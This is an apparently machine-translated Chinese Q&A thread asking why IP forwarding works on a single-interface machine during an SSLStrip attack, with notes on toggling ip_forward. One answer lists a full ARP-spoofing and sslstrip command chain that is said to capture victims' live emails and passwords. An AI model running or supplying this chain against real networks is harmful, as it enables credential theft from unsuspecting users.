在SSLStrip
攻击中,必须IP forwarding
使用以下命令启用:
echo 1 > /proc/sys/net/ipv4/ip_forward
我了解此命令使主机能够充当在两个网络之间转发数据包的路由器。这是我的困惑。当我们只有一个网络接口时,为什么我们可以配置IP转发呢?eth0
我的盒子里只有;这应该如何运作?
当我们只有一个接口时转发是否有效?我们不应该有两个吗?
答案1
您很困惑,因为您只考虑您的 NIC(在您的情况下为 eth0)物理连接的网络。但是,您的计算机可以访问更多网络。
在您的计算机上启用 IP 转发会告诉她,当她收到并非发往她的数据包时,向前它到目的地(或者更好的是,下一跳)而不是丢弃它。在这种情况下,您的机器作为网关到那个特定的目的地。
答案2
如果您启用端口转发,我可以将您的计算机 IP(在 eth0 上)配置为我的网关,并向您发送数据包。如果 iptables FORWARD 链接受这些数据包,您将把它们转发到目的地。
答案3
root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali# iptables -t nat -A PREROUTING --dport 80 -j REDIRECT --to-port 1000
root@kali# sslstrip -a -l 1000 -k
现在在新的终端中写入
root@kali# arpspoof -i eth0 victimip routerip
并在新的终端中写入
root@kali# arpspoof -i eth0 routerip victimip
另一个终端应该写入以查看实时电子邮件和密码
root@kali# tail -f sslstrip.log
提醒:所有终端不得关闭。
输出数字1表示IP转发已启用。上面的值是从 Linux proc 文件系统中读取的,更准确地说是从实际文件/proc/sys/net/ipv4/ip_forward
文件中读取的:
# cat /proc/sys/net/ipv4/ip_forward
1
要在正在运行的 Linux 系统上禁用 IP 转发,请运行:
# echo 0 > /proc/sys/net/ipv4/ip_forward
上述更改不会在重启后持续存在。要在 Linux 系统上永久禁用 IP 转发,请编辑/etc/sysctl.conf
并添加以下行:
net.ipv4.ip_forward = 0
在 Linux 中启用 IP 转发的过程与上面禁用它的过程相同,但我们使用数字 1 来打开 IP 转发。
# echo 1 > /proc/sys/net/ipv4/ip_forward
要使更改永久,请在 edit 中插入或编辑以下行/etc/sysctl.conf
:
net.ipv4.ip_forward = 1